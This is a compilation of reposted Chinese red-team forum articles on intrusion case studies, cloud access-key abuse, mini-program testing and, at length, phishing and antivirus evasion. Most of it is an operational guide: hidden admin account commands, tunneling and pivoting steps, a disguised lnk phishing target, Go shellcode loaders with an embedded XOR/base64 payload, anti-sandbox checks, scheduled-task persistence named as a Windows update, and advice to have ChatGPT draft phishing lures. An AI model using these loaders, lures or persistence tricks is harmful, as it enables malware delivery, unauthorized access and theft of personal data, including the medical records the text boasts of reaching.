操作系统中的一个命令行工具,主要用于处理证书和加密相关的操作,利用 certutil的解密操作可以绕过杀软。 echo bash64编码后的免杀马 > myfile.jsp 使用certutil进行解码 certutil -decode 木马相对路径 解码后的木马相对路径 冰蝎上线并上线CS 3.2、若依二开 shiro的洞修复了,找到一个前台信息泄露漏洞 通过获取到的用户名,使用弱口令进入后台,普通权限 再次对公告发布人员猜解密码,成功登录后台,多了系统管理权限,直接添加用户赋予最高权限 新增用户登录,发现定时任务功能,直接使用定时任务执行命令 3.3、shiro 目标路径在被访问时,会先跳转到统一认证登录,导致大部分都忽视了该路径是存在shiro反序列化漏洞的 本着试一试的心态进行了shiro的扫描,默认密钥,直接获取权限 转自于原文链接: https://forum.butian.net/share/2442
-
记一次省护网红队案例
0x00前言 本来开学正忙于实现电竞梦(联盟高校联赛),某一天下午突然有位师傅联系我说可以免面试进组打省护红队,这么好的实战机会怎么能错过呢~(好好玩游戏,不要学我^^) 0x01 一个出局的企业单位内网之旅 打点一 故事的开始是某佬丢了一个系统nday shell给我 ipconfig发现有10段内网,这种网段内网一般都很大 但是这种nday已经被别人扫烂了 目录全是马 发现不对劲,这是什么?! 哪位不知名黑客昨天传的fscan 但是目标单位还没出局 先打再说 准备cs上线 但是发现不出网 先在哥斯拉传fcsan命令执行扫了一下b段 (应该先noping稍微扫一下c段再拿一台机器留后路在搞,这次做的有问题,不然流量检测设备检测到了,然后关站就直接寄了) 一堆弱口令➕redis Neo-reGeorg使用 使用Neo-reGeorg正向隧道工具把流量代理出来: Neo-reGeorg是常见的http正向隧道工具,是reGeorg的升级版,增加了内容加密、请求头定制、响应码定制等等一些特性 python3 neoreg.py generate -k xxx --file 404.html --httpcode 404 生成一个webshell密码为xxx 比较有意思的是,工具新增的404模版功能,实战copy目标站点的404html,给到工具之后生成的webshell直接访问是404,对文件隐藏有很好的帮助 上传至目标站点 python3 neoreg.py -k xxx -u http://xxxxx.com/404.php -p 端口 本地Proxifier配置代理:SOCKS5://127.0.0.1:1081 刚访问了一个web站点看看通不通 加载了一个title 都准备开始截图写报告了 结果又不动了 我以为是代理的问题 结果发现目标站关了。。。。 (感觉应该是昨天穿fscan的师傅打完内网交报告了然后企业直接关站了) 陷入困境 看着这么多的弱口令却触摸不到 太可惜了 打点二 去找该企业子域和其他资产再找突破口 找到了一个边缘资产的登录框 注册功能接口被换成了弹窗 试了着跑了一下注册功能字典 无果 发现他们登录的url是sys_login.aspx 我们构造一个sys_register sys_reg sys_zc.aspx去试试 果不其然 可是。。。 但是这次翻F12看js文件就不一样了 构造请求成功注册了一个账号 并且发现了一个敏感参数 role修改为1 成功注册一个管理员账户 .net的站管理员权限后台很容易找了个上传点配合图片免杀马就shell了 在爆破接口的时候,可以通过看目标站点的接口命名规则灵活变化精准爆破,注册用户在请求包或者返回包中可以多注意role,Permissions,power这种敏感的参数。 哥斯拉连接 发现这台机器居然是出网的! 内网一 上传我的免杀马子 用哥斯拉的提权插件美美system上线~ 用frp内网穿透 美滋滋登弱口令截图写报告时,发现这台机器是10.8.xxxx 上台机器是10.9.xxxx 两个网段不通 做了隔离 这个时候我们的主要目标就是寻找双网卡主机 那就先上这台机器用fscan扫下吧 3389添加用户小技巧 因为是该机器是server2016 mimikatz抓不到明文密码,就只能添加用户 3389登录了 net user test 123456 /add #添加用户名为test密码为123456的用户 net localgroup administrators test /add #把test用户提升至管理组 这里有三个小技巧 net不能用时 可以用net1代替效果一样 /add也可以用/ad代替 执行效果一样 使用$添加隐藏用户:net user test$ 123456 /add 传fscan扫了一下 发现这个网段机器偏少 弱口令也没几个 现在的目标是找到双网卡主机!然后进入一堆弱口令的网段里,写报告写死我 先登了这个网段扫到的弱口令机器,发现都是设备 只能继续找其他突破口了 在这台机器翻了一波 发现了一个显眼的sa.txt文件 果不其然,里面放了一些密码,fscan再密码喷洒一波 拿下双网卡主机 弱口令ssh ifconfig 芜湖~ 双网卡主机 frp多层网络代理 用frp搭个多层网络代理隧道 大概就是这样 hacker>vps(服务器端)>第一台内网机(客户端)(服务端)>双网卡内网机(客户端) 然后再用proxifier搭个代理链 我们就可以通10.9网段了,美滋滋的写报告的时候 被通知对方出局了~ 把手里的报告交了,因为慢了昨天传fscan的师傅一步,所以也没得多少分。 0x02 某某医院的内网之旅 打点三 打点很简单 某某医院的小程序 点点点点 在burp插件里找到了惊喜 shiro反序列化 工具梭哈 hw面试常问的shiro反序列化的原理: 序列化过程中所用到的AES加密的key是硬编码在源码中,当用户勾选RememberMe并登录成功,Shiro会将用户的cookie值序列化,AES加密,接着base64编码后存储在cookie的rememberMe字段中,服务端收到登录请求后,会对rememberMe的cookie值进行base64解码,接着进行AES解密,然后反序列化。由于AES加密是对称式加密(key既能加密数据也能解密数据),所以当攻击者知道了AES key后,就能够构造恶意的rememberMe cookie值从而触发反序列化漏洞 通俗的讲就是有了key就能构造恶意的payload服务器接受后会进行反序列化,从而达到了远程命令执行的效果。 又是一个内网~ 100w加公民信息泄漏 在这台主机上找到了这种表格好几个 加起来100w余公民的医疗数据身份证等敏感信息~ 这台机器是2008 用mimikatz读密码 3389登录 内网二 frp穿透进入内网 然后就是翻垃圾桶 翻数据库收集密码~ 收集密码的几种思路(尤其是个人使用的电脑,密码超多) 1.各种浏览器保存的密码,可以使用BrowserGhost.exe等工具 2.如果主机有navicat的话可以读取密码 3.翻回收站,桌面中的txt文档,还有一些配置文件。 后面就是fscan+超级弱口令密码碰洒 就完了 不得不说看着密码碰洒是真滴爽啊^^ 因为fscan默认是不支持扫rdp弱口令的 一般是用fscan扫开放3389的机器,然后导出到超级弱口令等软件进行爆破,但是这样会由于fscan扫描不全漏掉一些机器,笔者建议最好上传nmap编译版或者一些专业扫描工具去探测。 最后也是拿下几十台主机权限,内网沦陷~(可惜没有双网卡) 内网渗透没有域的话,个人觉得就是慢慢磨,收集密码喷洒,再收集再喷 横向(免杀也很重要)~ 0x03文末 感谢各位师傅们能看到这里,第一次正式作为红队打攻防演练,有某佬的带领下还是打的比较轻松的,也是拿到了优秀攻击队伍 转自于原文链接:https://forum.butian.net/share/2528
-
云主机秘钥(ak/sk)泄露及利用案例
前言云平台作为降低企业资源成本的工具,在当今各大公司系统部署场景内已经成为不可或缺的重要组成部分,并且由于各类应用程序需要与其他内外部服务或程序进行通讯而大量使用凭证或密钥,因此在漏洞挖掘过程中经常会遇到一类漏洞:云主机秘钥泄露。此漏洞使攻击者接管云服务器的权限,对内部敏感信息查看或者删除等操作。此篇文章围绕如何发现秘钥泄露、拿到秘钥后如何利用展开。 0X01漏洞概述ak、sk拿到后的利用,阿里云、腾讯云云主机通过使用Access Key Id / Secret Access Key加密的方法来验证某个请求的发送者身份。Access Key Id(AK)用于标示用户,Secret Access Key(SK)是用户用于加密认证字符串和云厂商用来验证认证字符串的密钥,其中SK必须保密。 云主机接收到用户的请求后,系统将使用AK对应的相同的SK和同样的认证机制生成认证字符串,并与用户请求中包含的认证字符串进行比对。如果认证字符串相同,系统认为用户拥有指定的操作权限,并执行相关操作;如果认证字符串不同,系统将忽略该操作并返回错误码。 AK/SK原理使用对称加解密。 0x02秘钥泄露常见场景通过上面描述我们知道云主机密钥如果泄露就会导致云主机被控制,危害很大。 在漏洞挖掘过程中常见的泄露场景有以下几种: 1、报错页面或者debug信息调试。 2、GITHUB关键字、FOFA等。 3、网站的配置文件 4、js文件中泄露 5、源码泄露。APK、小程序反编译后全局搜索查询。 6、文件上传、下载的时候也有可能会有泄露,比如上传图片、上传文档等位置。 7、HeapDump文件。 0x03实战举例案例一:HeapDump文件中的ak\sk泄露HeapDump文件是JVM虚拟机运行时内存的一个快照,通常用于性能分析等,但是因为其保存了对象、类等相关的信息,如果被泄露也会造成信息泄露。 1、Spring Actuator heapdump文件造成的秘钥泄露。 扫描工具:https://github.com/F6JO/RouteVulScan 解压工具:https://github.com/wyzxxz/heapdump_tool 访问某一网站时进行测试发现存在spring未授权,此时查看是否有heapdump文件,下载解压,全局搜索可发现秘钥泄露。 2、通过暴破路径的方式获取。 在文件存储位置会有一些敏感文件泄露,比如请求下载云服务器上某文件时候抓包分析。可以在请求位置暴破文件名,云服务器会返回带有访问秘钥的敏感文件。 得到文件地址后访问下载,下载后用工具爬取内容。发现泄露ak\sk 工具链接:https://github.com/whwlsfb/JDumpSpider 案例二:Js文件泄露秘钥使用工具:trufflehog 访问某网站,使用插件trufflehog探测,会在Findings位置显示是否有密钥泄露。(网站采用异步加载也适用) 案例三:小程序上传等功能点泄露。某小程序打开后在个人中心头像位置 点击头像抓包: 可以看到accesskeyid\acesskeysecret泄露。 渗透测试过程中可以多关注上传图片、下载文件、查看图片等等位置,说不定就有ak\sk泄露。 案例四:配置信息中的ak\sk泄露常见的nacos后台配置列表,打开示例可以看到一些配置信息,可以看到有ak\sk泄露。 0x04漏洞利用1、ak\sk接管存储桶。使用工具或者云主机管理平台可以直接接管存储桶,接管桶后可以对桶内信息进行查看、上传、编辑、删除等操作。 OSS Browser--阿里云官方提供的OSS图形化管理工具 https://github.com/aliyun/oss-browser 可以看到登入存储桶后可以查看、上传、删除、下载桶内文件,造成存储桶接管的危害。 腾讯云云主机接管平台: https://cosbrowser.cloud.tencent.com/web/bucket 行云管家(支持多家云主机厂商): 可以选不同厂商的云主机导入。 选择主机导入: 通过行云管家接管主机后,不仅可以访问OSS服务,还可以直接重置服务器密码,接管服务器。 可以对主机进行重启、暂停、修改主机信息等操作。 2、拿到ak\sk后可以尝试对主机进行命令执行。CF 云环境利用框架 https://github.com/teamssix/cf/releases 使用cf查看该主机可做的操作权限,可以看到能执行命令。 cf tencent cvm exec -c whoami等等。 详情参考:https://wiki.teamssix.com/CF/ECS/exec.html 针对阿里云主机rce 工具链接:https://github.com/mrknow001/aliyun-accesskey-Tools 输入ak\sk查询主机,选择主机名填入,查看云助手列表是true或者false,为true可执行命令。 转自原文链接: https://forum.butian.net/share/2376
-
2023年最新微信小程序抓包及测试案例
网上大多数的小程序测试抓包都是用的安卓模拟器,这里使用的是BurpSuite+Proxifer+微信客户端的抓包方式 环境准备 Burp2023.9.2 Proxifier4.5 Proxifier是一款功能非常强大的socks5客户端,可以让不支持通过代理服务器,工作的网络程序能通过HTTPS或socks或代理链。其是收费软件,免费试用31天,这里给一个破解版链接 链接:https://pan.baidu.com/s/14QElyGxDpMBGTuCFTPl4tQ?pwd=7o50 提取码:7o50 安装就无脑next就好了,安装好后打开 点击注册,名字随便写,随便复制一个注册码点击ok即可 Proxifier配置 打开proxifier,点击profile添加一个代理服务器 地址127.0.0.1,端口自定义,我这里是8888,协议选择https 继续添加一条代理规则 在我们用微信打开小程序时,进程里会多出一个WeChatAppEx 这个程序就是微信小程序的进程 添加规则 Applications就选择小程序进程应用(这里可以手动输入),Action就选择刚刚新建的代理服务器 Burp配置 只要编辑代理监听器和proxifier里的代理服务器一样即可,监听127.0.0.1:8888 这时微信打开一个小程序,可以看到WeChatAppEx的流量先经过proxifier,再用过127.0.0.1:8888到burp 现在就可以像平时测试web站点一样的方式在burp里对数据包进行测试 小程序反编译 在微信的设置里面可以找到微信文件保存的位置 目录下的Applet就是小程序缓存文件的保存地址 平时使用的小程序越多,对应的文件也就越多,如果找不到自己想要测试的小程序包,可以根据修改日期来找,或者直接简单粗暴,删除所有的缓存文件,再重新打开你想要测试的小程序 这时里面的就是我们要测试小程序对应的缓存文件夹 点开里面就是我们要解的包 这是一个加密的包,当用户在微信中搜索或扫描小程序二维码后,微信后台会将该小程序的相关信息打包成 .wxapkg 文件并下发到用户的设备中,这种文件格式实际上是一个压缩包,其中包含了小程序的所有代码、资源和配置文件等内容,以及一个特定的描述文件 app.json。 由于是加密的包,所以先来解密,下面是大佬的解密工具链接 链接:https://pan.baidu.com/s/1BzfvBVwD4vLpakX9PAyrsg?pwd=qz3z 提取码:qz3z 选中加密的包 解密成功后在工具目录的wxpack目录下 接下来进行反编译 首先安装nodejs,下载链接https://nodejs.org/zh-cn/download/ ,安装就一直下一步就好了,安装好之后添加环境变量 加好环境变量后cmd输入命令会得到回显 接下来使用反编译工具wxappUnpacker 原链接https://github.com/system-cpu/wxappUnpacker 网盘链接:https://pan.baidu.com/s/19O2KDqWn2Zyars8AREJ1LQ?pwd=22qj 提取码:22qj 来到工具目录 安装 安装依赖 npm install esprima npm install css-tree npm install cssbeautify npm install vm2 npm install uglify-es npm install js-beautify 逐条执行以上命令 逐条执行以上命令 接下来反编译 执行命令 node wuWxapkg.js 解密后小程序的路径 执行完后会在被反编译的包的目录下生成一个目录 里面就是反编译过后得到的文件了 下载微信开发者工具 官网下载链接 https://servicewechat.com/wxa-dev-logic/download_redirect?type=win32_x64&from=mpwiki&download_version=1062308310&version_type=1 安装好后打开 点击加号 目录选择反编译后的目录,后端服务选择不使用云服务,点击确定 就可以查看小程序的js代码了 测试 点击发送验证码的功能 是/api/shop/ipad/login/sms路径 在代码里面找到发送功能的代码 发现只有/login/sms 现在基本确认了路径访问规则,将接口拼接到/api/shop/ipad之后,找其他接口拼接尝试有没有未授权 找一个首页的路径拼接 直接发包返回404 拼接/api/shop/ipad之后发包 可以确定路径是对了,但是不存在未授权,这一个路径不存在,并不完全代表所有接口都不存在,也许有那么几个接口漏掉了没做鉴权,就会造成未授权,信息泄露之类的 一不小心getshell 继续看刚刚发送验证码的接口,看看有没有短信轰炸之类的 访问/login/sms接口,并且以post方式接收mobile参数 构造包 输入一个不存在的手机号,显示手机号码有误 输入一个真实的也提示有误,有可能只有系统存在的账户手机号才有效 看到参数习惯性打个单引号 哦豁,再加个单引号 哦豁+1 看返回数据包可以判断出用的.net,个人觉得这个框架是很多注入的,尝试手注没有回显,sqlmap一把梭,https加上--force-ssl参数 成功跑出SQL注入,而且是堆叠注入,尝试--os-shell 转自于原文链接:https://forum.butian.net/share/2477
-
钓鱼手法及木马免杀技巧
简述 钓鱼是攻防对抗中一种常用的手段,攻击者通常伪装成可信任的实体,例如合法的机构、公司或个人,以引诱受害者揭示敏感信息或执行恶意操作,能快速地撕破目标的伤口,快速进内网进行刷分,投递木马同时需要考虑逃避杀毒软件检测,本篇文章将围绕一些常见的钓鱼手法和木马免杀对抗展开 信息搜集 批量邮箱搜集 https://app.snov.io/ http://www.skymem.info/ 搜索引擎 一般来说,企业邮箱都存在邮件网关,邮件投递容易被退信拦截,所以我们要选择私人邮箱或不被邮服拦截的邮箱: 如 xx举报,xx招聘面对大众的邮箱,相关语法: site:"xxx.com" 举报 site:"xxx.com" 招聘 xx公司举报 @126.com xx公司招聘 @qq.com 钓鱼手法 社工钓鱼 首先是目标选择,目标群体:hr、经理、财务 等安全意识薄弱的人优先选择,提前准备多套场景应对 选择目标公司分部进行钓鱼成功率较高,提前想好话术和应变对策,避免被识破,最好不要在总部,避开IT信息安全部 社牛的师傅可以尝试电话钓鱼,获取信任再添加微信发送木马(需要过人的心理素质和应变能力,之前从潘高工身上学到很多) 邮件钓鱼 群发邮件(不推荐,易被管理员发现或被邮件网关拦截) 搜集关键人物个人邮箱定向投递(推荐,隐蔽性强) 福利补贴发放 紧贴时事话题,使用各种福利活动吸引目标用户点击,把钓鱼链接转为二维码发送 简历投递 招聘投递简历,hr面对大量简历不会仔细查看后缀 钓鱼文案不会写?没关系,能自动生成就不要手打,这里给我们的chatgpt大哥加鸡腿 举报信 xxx实名举报投诉,这种邮件一般处理反馈速度很快 钓鱼文件伪装 通用技巧 木马需要打压缩,添加密码并隐藏内容,或对木马文件进行双重压缩,一定程度绕过邮件网关的检测 选择不常见的后缀但仍可作为exe执行,如scr、com等 文件名使用长命名,如果对方文件显示设置不当,预览时候看不到后缀 lnk钓鱼 如果得知目标单位使用的不是360天擎这类杀软,可使用lnk文件进行钓鱼(360会拦截) 快捷方式目标位置填入: %windir%\system32\cmd.exe /c start .\.__MACOS__\.__MACOS__\.__MACOS__\.__MACOS1__\xxx.doc && C:\Windows\explorer.exe ".\.__MACOS__\.__MACOS__\.__MACOS__\.__MACOS1__\fsx.exe" 图标更换路径选择: C:\\Program Files (x86)\\Microsoft\\Edge\\Application %SystemRoot%\\System32\\imageres.dll %SystemRoot%\\System32\\shell32.dll 弹框错误提示 运行msgbox提示“文件已损坏”等具有迷惑性的内容 vbs实现 On Error Resume Next WScript.Sleep 2000 msgbox "当前文件已损坏,请更换工具进行打开",64,"提示" go代码实现 package main import ( "github.com/gen2brain/dlgs" ) func box() { _, err := dlgs.Info("提示", "当前文件已损坏,请更换工具进行打开") if err != nil { panic(err) } } 实现效果 文件捆绑器 绑定正常文件和恶意木马,运行后会对exe本身进行自删除,然后在当前目录下释放正常文件并打开,并释放木马至 C:\Users\Public\Videos目录下运行 1.1版本 bypass常规杀软 (360、def、火绒等) 1.2版本 新增文件释放后自动隐藏 效果实现 常见杀软类型 杀软类型杀软特点 火绒 编译参数限制多,对hash和字符串特征进行识别,静态能过动态基本不查杀,对部分go库调用报毒 360 单360查杀力不高,装了杀毒后直接儿子变爸爸,查杀力大大提升,杀毒会自动上传样本,容易上线后云查杀过一会掉线,推荐使用分离加载方式,并使用反沙箱的代码延长马子时间 360核晶 开启后对整体查杀性能影响不大,避免使用进程注入的方式加载shellcode,执行命令使用bof插件进行替代 Defender 新增cobaltstrike规则,推荐使用Stageless,免杀性比Stage好,4.5版本开启sleep_mask参数增强免杀性,对体积大的文件查杀度不高 基础的加载方式 以下只是基础的示例,仅仅实现加密解密加载的功能 先使用python脚本进行加密 payload.c 文件 import base64 originalShellcode = b"\xfc\xe8\x89\x00" encryptedShellcode = bytes([byte ^ 0xFF for byte in originalShellcode]) encodedShellcode = base64.b64encode(encryptedShellcode).decode('utf-8') print(encodedShellcode) 输出的内容填入encryptedShellcode进行编译 package main import ( "encoding/base64" "syscall" "unsafe" "github.com/lxn/win" "golang.org/x/sys/windows" ) func main() { // 通过 base64 和 XOR 解密 shellcode 内容 win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE) encryptedShellcode := "iz/0k4efv3d3dzYmNiclJiE/RqUSP/wlFz/8JW8//CVXP/wFJz94wD09Oka+P0a320sWC3VbVza2vno2draVmiU2Jj/8JVf8NUs/dqcR9g9vfHUCBfz3/3d3dz/ytwMQP3anJ/w/bzP8N1c+dqeUIT+Ivjb8Q/8/dqE6Rr4/RrfbNra+ejZ2tk+XAoY7dDtTfzJOpgKvLzP8N1M+dqcRNvx7PzP8N2s+dqc2/HP/P3anNi82LykuLTYvNi42LT/0m1c2JYiXLzYuLT/8ZZ44iIiIKh13PskAHhkeGRIDdzYhPv6RO/6GNs07AFFwiKI/Rr4/RqU6Rrc6Rr42JzYnNs1NIQ7QiKKe5Hd3dy0//rY2z8x2d3c6Rr42JjYmHXQ2JjbNIP7osYiinA4sP/62P0alPv6vOka+JR93RbfzJSU2zZwiWUyIoj/+sT/0tCcdfSg//obNaHd3dx13H/dEd3c+/pc2znN3d3c2zQIx6fGIoj/+hj/+rT6wt4iIiIg6Rr4lJTbNWnFvDIii8rd48up2d3c/iLh48/t2d3ecxJ6Tdnd3n/WIiIhYBAMWAx4UWB0EWB0GAhIFDlpEWURZRVkEGx4aWRoeGVkdBHdhI6t+16t+1fOvaU170U01iyzbpfayy1/2ar3+Ctaxwg13pLfzUvyPdjEAdyIEEgVaNhASGQNNVzoYDR4bGxZYQllHV18gHhkTGAAETFciTFcgHhkTGAAEVzkjV0JZRkxXEhlaIiRMVwUBTUZZQFlCXlcwEhQcGFhFR0dDRkZHQFcxHgUSERgPWEZZR1dfFg9een138a3Jhf8SuTLptsakGlHpCzEfaWu1GBbwmbCC5spmVmyh80fqMODP2ALXgmypFSNWG7SVeI0OybyhAGGyF4I4kOtTOz1MqEL3Bv8empA2KC6kL9eYO3xP4ukic3tfP++yRqP8gYDC1Aq3kBknsTnkPu3RSJoVXLtaD3jO3ibMl+cBpDBioUbhePdlxTvlhD+OZ/NDXSwjf1y7hgK70678/6sPEZl2VdgAUuFa17KFDBoUq6Cq9OLDOu5GFZp42AYcsmoQmwd8Xnc2yYfC1SGIoj9Gvs13dzd3Ns93Z3d3Ns43d3d3Ns0v0ySSiKI/5CQkP/6QP/6GP/6tNs93V3d3Pv6ONs1l4f6ViKI/9LNX8rcDwRH8cD92tPK3AqAvLy8/cnd3d3cntJ8IioiIBBIFAR4UEloSAxMVQEMZEVpGREdAQEdHT0ZPWQQfWRYHHhAAWQMSGRQSGQMUBFkUGBp3coKWdw==" decodedShellcode, _ := base64.StdEncoding.DecodeString(encryptedShellcode) for i := 0; i < len(decodedShellcode); i++ { decodedShellcode[i] ^= 0x77 } // 获取 kernel32.dll 中的 VirtualAlloc 函数 kernel32, _ := syscall.LoadDLL("kernel32.dll") VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc") // 分配内存并写入 shellcode 内容 allocSize := uintptr(len(decodedShellcode)) mem, _, _ := VirtualAlloc.Call(uintptr(0), allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE) if mem == 0 { panic("VirtualAlloc failed") } buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize] copy(buffer, decodedShellcode) // 执行 shellcode syscall.Syscall(mem, 0, 0, 0, 0) } 通用杀软bypass技巧 免杀性优先选择远程加载或文件分离加载,但同时也存在一些缺点,前者可能会被溯源或被安全设备封堵url地址,后者需要两个文件更适合维权使用 垃圾代码填充,在加载shellcode前先进行无害化操作,干扰沙箱和杀软的判断,或者通过延时执行或增大程序体积一定几率绕过检测 选择小众语⾔来编写制作loader特征较少,工具除了CS也可使用vshell等其他自写C2 一键生成免杀 臭不要脸的我又来安利一波github项目,咳咳,觉得还可以的师傅可以点个star⭐ 免杀大师王超攻魔改之作 https://github.com/wangfly-me/LoaderFly 千机-红队免杀木马自动生成 https://github.com/Pizz33/Qianji 编译参数的影响 go: -race 竞态检测编译 -ldflags '-s -w' 去除编译信息 -ldflags '-H windowsgui' 隐藏窗口 garble(混淆库): -tiny 删除额外信息 -literals 混淆文字 -seed=random base64编码的随机种子 举个例子,编译一个无害化的代码使用了 -literals 参数,360仍会报毒,不加则不报毒 package main func main() { // 两个要相乘的数字 num1 := 5 num2 := 3 result := 0 // 使用for循环来进行乘法运算 for i := 0; i < num2; i++ { result += num1 } } -H windowsgui参数同样也会对免杀性产生很大影响,如果需要隐藏黑框可以用下面的代码替代(但是win11下仍有黑框) package main import "github.com/lxn/win" func main(){ win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE) } func box()int{ FreeConsole := syscall.NewLazyDLL("kernel32.dll").NewProc("FreeConsole") FreeConsole.Call() return 0 } func main() { box() 静态特征处理 混淆处理 go低版本 https://github.com/boy-hack/go-strip go高版本 https://github.com/burrowers/garble mangle替换字符串 https://github.com/optiv/Mangle Mangle.exe -I xxx.exe -M -O out.exe mangle处理前后对比,可发现对go编译特征字符串替换为随机字符 base64编码变量 cmd := exec.Command("rundll32.exe", "xxx") 关键字符串进行Base64编码,并在相应位置替换变量值 encodedCommand := "cnVuZGxsMzIuZXhl" encodedArguments := "MTExTdGFydA==" // 解码Base64编码的命令和参数 decodedCommand, _ := base64.StdEncoding.DecodeString(encodedCommand) decodedArguments, _ := base64.StdEncoding.DecodeString(encodedArguments) cmd := exec.Command(string(decodedCommand), string(decodedArguments)) QVM绕过 添加资源 1、添加图标签名版权等信息内容,可使用以下项目一键添加 https://github.com/Pizz33/360QVM_bypass https://github.com/S9MF/my_script_tools/tree/main/360QVM_bypass-public https://github.com/langsasec/Sign-Sacker 行为特征 运行直接加载shellcode,一般会直接报qvm package main import ( "syscall" "unsafe" ) var ( ntdll = syscall.MustLoadDLL("ntdll.dll") VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") ) const ( MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 PAGE_EXECUTE_READWRITE = 0x40 ) func main() { addr, _, err := VirtualAlloc.Call(0, uintptr(len(decryt)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) if err != nil && err.Error() != "The operation completed successfully." { syscall.Exit(0) } _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&decryt[0])), uintptr(len(decryt))) if err != nil && err.Error() != "The operation completed successfully." { syscall.Exit(0) } syscall.Syscall(addr, 0, 0, 0, 0) } 先执行正常行为再进行shellcode加载,qvm无报毒,以下是示例,可根据实际情况进行调整 package main import ( "syscall" "unsafe" ) var ( ntdll = syscall.MustLoadDLL("ntdll.dll") VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") ) const ( MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 PAGE_EXECUTE_READWRITE = 0x40 ) func main() { num1 := 5 num2 := 3 result := 0 // 使用for循环来进行乘法运算 for i := 0; i < num2; i++ { result += num1 } addr, _, err := VirtualAlloc.Call(0, uintptr(len(decryt)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) if err != nil && err.Error() != "The operation completed successfully." { syscall.Exit(0) } _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&decryt[0])), uintptr(len(decryt))) if err != nil && err.Error() != "The operation completed successfully." { syscall.Exit(0) } syscall.Syscall(addr, 0, 0, 0, 0) } 好用的反沙箱技巧 出口IP判断 func san() { url := "https://myip.ipip.net/" resp, err := http.Get(url) if err != nil { os.Exit(1) } defer resp.Body.Close() body, err := ioutil.ReadAll(resp.Body) if err != nil { os.Exit(1) } content := string(body) if strings.Contains(content, "中国") { } else { os.Exit(1) } } 检测桌面文件数量 func desktop() { desktopPath, err := os.UserHomeDir() if err != nil { fmt.Println("无法获取用户桌面路径:", err) return } desktopPath = filepath.Join(desktopPath, "Desktop") fileCount, err := countFilesInDir(desktopPath) if err != nil { fmt.Println("无法读取用户桌面文件列表:", err) return } fmt.Println("用户桌面文件数:", fileCount) if fileCount < 7 { os.Exit(0) } // 在这里编写你的其他代码逻辑 } 检测微信等常见软件 func CheckWeChatExist() { k, err := registry.OpenKey(registry.CURRENT_USER, `SOFTWARE\\Tencent\\bugReport\\WechatWindows`, registry.QUERY_VALUE) if err != nil { os.Exit(0) } defer k.Close() s, _, err := k.GetStringValue("InstallDir") if err != nil || s == "" { os.Exit(0) } } 检测pagefile.sys func sys() { pageFilePath := "C:\\pagefile.sys" _, err := os.Stat(pageFilePath) if os.IsNotExist(err) { os.Exit(1) } else if err != nil { } else { } } 判断系统类型 func language() { language := os.Getenv("LANG") if strings.Contains(language, "en_US") { os.Exit(0) } else { } } 内存流量处理 流量侧可通过云函数或者CDN进行伪装,配置可参考网上教程在这里不进行详述,相关项目可参考,但要注意oss权限设置避免被溯源 https://github.com/9bie/oss-stinger https://github.com/pantom2077/alioss-stinger 自定义profile,可使用以下项目随机生成 https://github.com/threatexpress/random_c2_profile 内存混淆,动态加解密beacon内存,重载Ntdll等技术,可参考下面文章 https://www.freebuf.com/articles/system/361161.html https://idiotc4t.com/defense-evasion/load-ntdll-too 执行命令bypass 直接通过cs执行截图,spawn等敏感操作,容易导致beacon掉线,这时候可以使用bof替代,下面列举一些好用的 进程迁移 https://github.com/ajpc500/BOFs 截图 https://github.com/baiyies/ScreenshotBOFPlus 删除自身 https://github.com/AgeloVito/self_delete_bof bypassuac提权 https://github.com/youcannotseemeagain/ele 可以定期去github上关注一些好用的bof 权限维持 常规命令添加计划任务,注册表这里不过多叙述,网上命令教程有 添加计划任务 在攻防中,上线机器总是需要手动进行维权太过于麻烦,直接在代码加入上线自动添加计划任务,测试可以bypass常规杀软 部分实现代码: https://github.com/capnspacehook/taskmaster package main import ( "os" "github.com/capnspacehook/taskmaster" ) func runWinTask(path string) { // 创建初始化计划任务 taskService, _ := taskmaster.Connect() defer taskService.Disconnect() // 定义新的计划任务 newTaskDef := taskService.NewTaskDefinition() // 添加执行程序的路径 newTaskDef.AddAction(taskmaster.ExecAction{ Path: path, }) // 定义计划任务程序的执行时间等,设置为开机启动 newTaskDef.AddTrigger(taskmaster.BootTrigger{ TaskTrigger: taskmaster.TaskTrigger{ Enabled: enable, }, }) // 创建计划任务 result, _, _ := taskService.CreateTask("\\windows\\update", newTaskDef, true) result=result } func main() { path, err := os.Executable() if err != nil { return } runWinTask(path) } 隐藏计划任务 具体原理可参考0x727师傅的文章 https://github.com/0x727/SchTask_0x727 https://payloads.cn/2021/0805/advanced-windows-scheduled-tasks.html 选择主机随机进程名作为计划任务程序文件名 将计划任务程序文件复制到 %AppData%\Microsoft\Windows\Themes\ 创建的计划任务名取同一随机进程 计划任务触发器以分钟为单位,无限期持续 更改 Index、删除 SD 的键值,隐藏计划任务对应的 XML 文件 dll劫持替换 比较常用的有 C:\Program Files (x86)\Google\Update 当 GoogleUpdate.exe 程序运行的时候,会调用当前目录下的 goopdate.dll 文件 单个查找 https://github.com/wietze/windows-dll-hijacking 批量查找 https://github.com/knight0x07/ImpulsiveDLLHijack ImpulsiveDLLHijack.exe -path xxx.exe 这里使用navicat进行测试,可见运行的时候会加载C:\Users\xxx\AppData\Local\Programs\Python\Python38\Scripts\oci.dll 修改文件时间 当我们上传cs木马至服务器的时候,由于修改日期是新的,蓝队人员很容易通过 everything 筛选时间排查应急 这时候我们可以使用一些技巧进行隐藏 https://github.com/MsF-NTDLL/ChTimeStamp 通过这个项目实现修改文件时间,先看看预览效果 查看net版本 shell reg query "HKLM\\Software\\Microsoft\\NET Framework Setup\\NDP" /s /v version | findstr /i version | sort /+26 /r 需要安装net3.5 没有安装一下 shell dism.exe /online /enable-feature /featurename:netfx3 /Source:C:\\Users\\hack\\Desktop\\dotnetfx35.exe DISM /Online /Enable-Feature /All /FeatureName:NetFx3 /LimitAccess /Source:D:\\sources\\sxs 